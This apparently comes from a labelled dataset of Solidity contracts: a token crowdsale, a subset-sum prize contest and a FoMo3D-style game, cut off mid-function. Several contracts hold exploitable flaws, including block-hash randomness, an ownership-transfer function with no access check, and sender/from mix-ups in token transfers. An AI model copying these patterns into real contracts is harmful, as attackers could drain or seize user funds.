function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Fund is Ownable {
using SafeMath for uint256;
string public name = "Slot Token";
uint8 public decimals = 0;
string public symbol = "SLOT";
string public version = "0.7";
uint8 constant TOKENS = 0;
uint8 constant BALANCE = 1;
uint256 totalWithdrawn;
uint256 public totalSupply;
mapping(address => uint256[2][]) balances;
mapping(address => uint256) withdrawals;
event Withdrawn(
address indexed investor,
address indexed beneficiary,
uint256 weiAmount);
event Mint(
address indexed to,
uint256 amount);
event MintFinished();
event Transfer(
address indexed from,
address indexed to,
uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value);
mapping (address => mapping (address => uint256)) allowed;
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function Fund() payable {}
function() payable {}
function getEtherBalance(address _owner) constant public returns (uint256 _balance) {
uint256[2][] memory snapshots = balances[_owner];
if (snapshots.length == 0) { return 0; }
uint256 balance = 0;
uint256 previousSnapTotalStake = 0;
for (uint256 i = 0 ; i < snapshots.length ; i++) {
if (i == snapshots.length-1) {
uint256 currentTokens = snapshots[i][TOKENS];
uint256 b = currentTokens.mul( getTotalStake().sub(previousSnapTotalStake) ).div(totalSupply);
balance = balance.add(b);
return balance.sub(withdrawals[_owner]);
}
uint256 snapTotalStake = snapshots[i][BALANCE];
uint256 spanBalance = snapshots[i][TOKENS].mul(snapTotalStake.sub(previousSnapTotalStake)).div(totalSupply);
balance = balance.add(spanBalance);
previousSnapTotalStake = previousSnapTotalStake.add(snapTotalStake);
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
uint256[2][] memory snapshots = balances[_owner];
if (snapshots.length == 0) { return 0; }
return snapshots[snapshots.length-1][TOKENS];
}
function getTotalStake() constant public returns (uint256 _totalStake) {
return this.balance + totalWithdrawn;
}
function withdrawBalance(address _to, uint256 _value) public {
require(getEtherBalance(msg.sender) >= _value);
withdrawals[msg.sender] = withdrawals[msg.sender].add(_value);
totalWithdrawn = totalWithdrawn.add(_value);
_to.transfer(_value);
Withdrawn(msg.sender, _to, _value);
}
function transfer(address _to, uint256 _value) returns (bool) {
return transferFromPrivate(msg.sender, _to, _value);
}
function transferFromPrivate(address _from, address _to, uint256 _value) private returns (bool) {
require(balanceOf(msg.sender) >= _value);
uint256 fromTokens = balanceOf(msg.sender);
pushSnapshot(msg.sender, fromTokens-_value);
uint256 toTokens = balanceOf(_to);
pushSnapshot(_to, toTokens+_value);
Transfer(_from, _to, _value);
return true;
}
function pushSnapshot(address _beneficiary, uint256 _amount) private {
balances[_beneficiary].push([_amount, 0]);
if (balances[_beneficiary].length > 1) {
uint256 lastIndex = balances[msg.sender].length-1;
balances[_beneficiary][lastIndex-1][BALANCE] = getTotalStake();
}
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
pushSnapshot(_to, _amount.add(balanceOf(_to)));
totalSupply = totalSupply.add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
uint256 _allowance = allowed[_from][msg.sender];
transferFromPrivate(_from, _to, _value);
allowed[_from][msg.sender] = _allowance.sub(_value);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract SlotCrowdsale is Ownable, Pausable {
using SafeMath for uint256;
Fund public fund;
uint256 constant ETHER_CAP = 4715 ether;
uint256 constant TOKEN_CAP = 10000000;
uint256 constant PRICE = 1 ether;
uint256 constant BOUNTY = 250000;
uint256 constant OWNERS_STAKE = 3750000;
uint256 constant OWNERS_LOCK = 200000;
address public bountyWallet;
address public ownersWallet;
uint256 public lockBegunAtBlock;
bool public bountyDistributed = false;
bool public ownershipDistributed = false;
uint256[10] outcomes = [1000000,
250000,
100000,
20000,
10000,
4000,
2000,
1250,
1000,
500];
uint16[10] chances = [1, 4, 10, 50, 100, 250, 500, 800, 1000, 2000];
uint16[10] addedUpChances = [1, 5, 15, 65, 165, 415, 915, 1715, 2715, 4715];
event OwnershipDistributed();
event BountyDistributed();
function SlotCrowdsale() payable {
fund = new Fund();
bountyWallet = 0x00deF93928A3aAD581F39049a3BbCaaB9BbE36C8;
ownersWallet = 0x0001619153d8FE15B3FA70605859265cb0033c1a;
}
function() payable {
buyTokenFor(msg.sender);
}
function correctedIndex(uint8 _index) constant private returns (uint8 _newIndex) {
require(_index < chances.length);
if (chances[_index] != 0) {
return _index;
} else {
return correctedIndex(uint8((_index + 1) % chances.length));
}
}
function getRateIndex(uint256 _randomNumber) constant private returns (uint8 _rateIndex) {
for (uint8 i = 0 ; i < uint8(chances.length) ; i++) {
if (_randomNumber < addedUpChances[i]) {
return correctedIndex(i);
}
}
}
function buyTokenFor(address _beneficiary) whenNotPaused() payable {
require(_beneficiary != 0x0);
require(msg.value >= PRICE);
uint256 change = msg.value%PRICE;
uint256 numberOfTokens = msg.value.sub(change).div(PRICE);
mintTokens(_beneficiary, numberOfTokens);
msg.sender.transfer(change);
}
function mintTokens(address _beneficiary, uint256 _numberOfTokens) private {
uint16 totalChances = addedUpChances[9];
for (uint16 i=1 ; i <= _numberOfTokens; i++) {
uint256 randomNumber = uint256(keccak256(block.blockhash(block.number-1)))%totalChances;
uint8 rateIndex = getRateIndex(randomNumber);
assert(chances[rateIndex] != 0);
chances[rateIndex]--;
uint256 amount = outcomes[rateIndex];
fund.mint(_beneficiary, amount);
}
}
function crowdsaleEnded() constant private returns (bool ended) {
if (fund.totalSupply() >= TOKEN_CAP) {
return true;
} else {
return false;
}
}
function lockEnded() constant private returns (bool ended) {
if (block.number.sub(lockBegunAtBlock) > OWNERS_LOCK) {
return true;
} else {
return false;
}
}
function distributeBounty() public onlyOwner {
require(!bountyDistributed);
require(crowdsaleEnded());
bountyDistributed = true;
bountyWallet.transfer(BOUNTY);
lockBegunAtBlock = block.number;
BountyDistributed();
}
function distributeOwnership() public onlyOwner {
require(!ownershipDistributed);
require(crowdsaleEnded());
require(lockEnded());
ownershipDistributed = true;
ownersWallet.transfer(OWNERS_STAKE);
OwnershipDistributed();
}
function changeOwnersWallet(address _newWallet) public onlyOwner {
require(_newWallet != 0x0);
ownersWallet = _newWallet;
}
function changeBountyWallet(address _newWallet) public onlyOwner {
require(_newWallet != 0x0);
bountyWallet = _newWallet;
}
function changeFundOwner(address _newOwner) {
require(_newOwner != 0x0);
fund.transferOwnership(_newOwner);
}
} | 1 | 2,066 |
pragma solidity ^0.4.25;
contract subsetSum {
struct Number {
bool exists;
bool isUsed;
}
struct Leader {
address id;
uint256 difference;
uint256[] negativeSet;
uint256[] positiveSet;
}
uint256[] numbers;
mapping (uint256 => Number) numberCheck;
mapping (address => bool) authorisedEntrants;
uint256 expiryTime;
address admin;
Leader leader;
constructor (uint256[] memory setElements, uint256 expiry) public {
require(setElements.length>0 && expiry > now, 'Invalid parameters');
numbers = setElements;
for (uint256 i = 0; i<setElements.length; i++) {
numberCheck[setElements[i]].exists=true;
}
expiryTime = expiry;
admin = msg.sender;
}
event RunnerUpSubmission(address indexed submitter, uint256 submitterSolutionDifference);
event NewRecord(address indexed newRecordHolder, uint256 newRecordDifference);
modifier adminOnly {
require(msg.sender==admin, 'This requires admin privileges');
_;
}
modifier restrictedAccess {
require(now<expiryTime && authorisedEntrants[msg.sender], 'Unauthorised entrant');
_;
}
modifier winnerOnly {
require(now>expiryTime && (msg.sender==leader.id || ((address(0)==leader.id || now>expiryTime+2629746) && msg.sender==admin)), "You don't have permission to withdraw the prize");
_;
}
function getNumbers() public view returns(uint256[] numberSet) {
return numbers;
}
function getRecord() public view returns (address winningAddress, uint256 difference, uint256[] negativeSet, uint256[] positiveSet) {
return (leader.id, leader.difference, leader.negativeSet, leader.positiveSet);
}
function getPrizePot() public view returns (uint256 prizeFundAmount) {
return address(this).balance;
}
function getExpiryDate() public view returns (uint256 expiryTimestamp) {
return expiryTime;
}
function getData() public view returns(uint256[] numberSet, address winningAddress, uint256 prizeFundAmount, uint256 expiryTimestamp) {
return (numbers, leader.id, address(this).balance, expiryTime);
}
function () public payable { }
function getAuthor() public pure returns (string authorName) {
return "Written by Ciarán Ó hAoláin, Maynooth University 2018";
}
function authoriseEntrants(address[] addressesToAuthorise) public adminOnly {
for (uint256 i = 0; i<addressesToAuthorise.length; i++) authorisedEntrants[addressesToAuthorise[i]]=true;
}
function submitAnswer(uint256[] negativeSetSubmission, uint256[] positiveSetSubmission) public restrictedAccess returns (string response) {
require(negativeSetSubmission.length+positiveSetSubmission.length>0, 'Invalid submission.');
uint256 sumNegative = 0;
uint256 sumPositive = 0;
for (uint256 i = 0; i<negativeSetSubmission.length; i++) {
require(numberCheck[negativeSetSubmission[i]].exists && !numberCheck[negativeSetSubmission[i]].isUsed, 'Invalid submission.');
sumNegative+=negativeSetSubmission[i];
numberCheck[negativeSetSubmission[i]].isUsed = true;
}
for (i = 0; i<positiveSetSubmission.length; i++) {
require(numberCheck[positiveSetSubmission[i]].exists && !numberCheck[positiveSetSubmission[i]].isUsed, 'Invalid submission.');
sumPositive+=positiveSetSubmission[i];
numberCheck[positiveSetSubmission[i]].isUsed = true;
}
for (i = 0; i<negativeSetSubmission.length; i++) numberCheck[negativeSetSubmission[i]].isUsed = false;
for (i = 0; i<positiveSetSubmission.length; i++) numberCheck[positiveSetSubmission[i]].isUsed = false;
uint256 difference = _diff(sumNegative, sumPositive);
if (leader.id==address(0) || difference<leader.difference) {
leader.id = msg.sender;
leader.difference=difference;
leader.negativeSet=negativeSetSubmission;
leader.positiveSet=positiveSetSubmission;
emit NewRecord(msg.sender, difference);
return "Congratulations, you are now on the top of the leaderboard.";
} else {
emit RunnerUpSubmission(msg.sender, difference);
return "Sorry, you haven't beaten the record.";
}
}
function withdrawPrize(address prizeRecipient) public winnerOnly {
prizeRecipient.transfer(address(this).balance);
}
function _diff(uint256 a, uint256 b) private pure returns (uint256 difference) {
if (a>b) return a-b;
else return b-a;
}
} | 0 | 2,025 |
pragma solidity ^0.4.24;
contract Suohaevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is Suohaevents {}
contract Suoha is modularShort {
using SafeMath for *;
using NameFilter for string;
using SuohaKeysCalcLong for uint256;
address community_addr = 0xAc97bE4C7E1d5A1146196ad8Ff3F9701f0398f6d;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x345ac0c516891f3c0ee7a319b636364982851222 );
string constant public name = "Suoha";
string constant public symbol = "Suoha";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Suohadatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => Suohadatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => Suohadatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => Suohadatasets.TeamFee) public fees_;
mapping (uint256 => Suohadatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = Suohadatasets.TeamFee(30,0);
fees_[1] = Suohadatasets.TeamFee(43,0);
fees_[2] = Suohadatasets.TeamFee(56,0);
fees_[3] = Suohadatasets.TeamFee(43,8);
potSplit_[0] = Suohadatasets.PotSplit(15,0);
potSplit_[1] = Suohadatasets.PotSplit(20,0);
potSplit_[2] = Suohadatasets.PotSplit(25,0);
potSplit_[3] = Suohadatasets.PotSplit(30,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. ");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Suohadatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Suohadatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Suohadatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
Suohadatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Suohaevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit Suohaevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Suohaevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, Suohadatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Suohaevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(Suohadatasets.EventReturns memory _eventData_)
private
returns (Suohadatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
